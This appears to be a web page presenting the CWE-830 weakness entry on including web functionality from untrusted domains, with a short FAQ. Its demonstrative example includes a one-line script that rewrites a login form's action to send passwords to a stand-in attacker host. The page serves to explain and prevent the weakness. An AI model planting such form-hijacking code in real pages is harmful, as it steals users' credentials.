Description
The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.
Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted. Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product. This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access. Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.
Potential Impact
Confidentiality, Integrity, Availability
Execute Unauthorized Code or Commands
Demonstrative Examples
<div class="header"> Welcome!<div id="loginBox">Please Login:<form id ="loginForm" name="loginForm" action="login.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div><div id="WeatherWidget"><script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script></div></div>...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";Related Weaknesses
Frequently Asked Questions
What is CWE-830?
CWE-830 (Inclusion of Web Functionality from an Untrusted Source) is a software weakness identified by MITRE's Common Weakness Enumeration. It is classified as a Variant-level weakness. The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the pro...
How can CWE-830 be exploited?
Attackers can exploit CWE-830 (Inclusion of Web Functionality from an Untrusted Source) to execute unauthorized code or commands. This weakness is typically introduced during the Implementation phase of software development.
How do I prevent CWE-830?
Follow secure coding practices, conduct code reviews, and use automated security testing tools (SAST/DAST) to detect this weakness early in the development lifecycle.
What is the severity of CWE-830?
CWE-830 is classified as a Variant-level weakness (Low-Medium abstraction). Its actual severity depends on the specific context and how the weakness manifests in your application.